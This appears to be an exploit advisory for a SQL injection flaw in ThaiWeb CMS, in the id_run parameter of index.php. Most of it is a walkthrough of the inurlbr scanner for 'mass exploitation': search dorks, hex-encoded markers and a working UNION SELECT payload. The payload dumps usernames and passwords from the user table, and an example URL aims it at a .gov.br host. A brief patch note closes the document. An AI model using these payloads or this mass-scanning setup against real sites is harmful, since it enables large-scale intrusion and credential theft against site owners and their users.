ThaiWeb CMS 2015Q3 - SQL Injection Web Vulnerability

Exploring cms THAIWEB with sql injection then we will use inurlbr scanner for mass exploitation.

Exploring cms THAIWEB with sql injection then we will use inurlbr scanner for mass exploitation.

THAIWEB.network is a network since Nov 1998, and reborn again in Aug 2003. We provide stable servers for our own usage.
We are located in Bangkok Thailand. Our systems are based on UNIX system and opensource approach.

We believe in sharing knowledge, and we hope our knowledge will help everyone developing and becoming a higher standard.
We hope to see Thai web builders upgrading themselves to become a professional living in the big world of internet internationally.

Fail discovery by:
Iran Cyber Security Group - Pi.Hack (www.Iran-Cyber.Org)

Description:
The vulnerabilities are located in the id_run value of the `index.php` file. Remote attackers are able to execute own sql commands by manipulation of the GET method request with the vulnerable id_run parameter. The request method to inject the sql command is GET and the location of the issue is application-side.

Using inurlbr scanner for mass exploitation:
 Download script: https://github.com/googleinurl/SCANNER-INURLBR
- Creating our command

SET DORK:
--dork 'YOU_DORK'
OR
--dork-file 'YOU_FILE_DORK.txt'

SET SEARCH ENGINES:
-a all
  we will use all the search engines available in the script

SET FILTER RESULTS:
 --unique
   Filter results in unique domains.
   removes all gets the URL

SET OUTPUT FILE:
 -s ThaiWeb.txt 

SET TIPE VALIDATION:
-t 2
       2   The second type tries to valid the error defined by: -a 'VALUE_INSIDE_THE _TARGET'
            It also establishes connection with the exploit through the get method.

SET EXPLOIT REQUEST - GET:
--exploit-get {YOU_GET}

Before setting the exploit we get to manipulate its string, for that we use a domestic function of inurlbr scanner so passes a validation string within the SQL injection to be able to separate vulnerable targets.

Internal function - Converting strings in hexadecimal
 hex Encrypt values in hex.
     Example: hex({value})
     Usage:    hex(102030)
     Usage:   --exploit-get 'user?id=hex(102030)'
     Result inject:
     http://www.target.gov.br/user?id=313032303330

--exploit-get '/index.php?Content=product&id_run=-12+union+select+1,2,3,group_concat%28user,0xhex(:),pws,0xhex(:),0xhex(inurlbr_vuln)%29,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20+from+user'

hex(inurlbr_vuln) = 696e75726c62725f76756c6e
hex(:) = 3a

Example injection:
http://www.target.gov.br/index.php?Content=product&id_run=-12+union+select+1,2,3,group_concat%28user,0x3a,pws,0x3a,0x696e75726c62725f76756c6e%29,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20+from+user

SET STRING VALIDATION:
Specify the string that will be used on the search script:
     Example: -a {string}
     Usage:    -a '<title>hello world</title>'
     If specific value is found in the target he is considered vulnerable.
     Setting:   -a 'inurlbr_vuln'

Let's validate the string "inurlbr_vuln" as she passed within the SQLI exploit, if such value appear on our target was successfully injected.

OUTPUT PRINT:
Let's validate the string "inurlbr_vuln" as she passed within the SQLI exploit, if such value appear on our target was successfully injected.

Solution - Fix & Patch:
The security vulnerability can be patched by a secure parse and encode of the vulnerable id_run parameter value in the index.php file.
Restrict the input and use a prepared statement to secure the sql statement request via GET method.
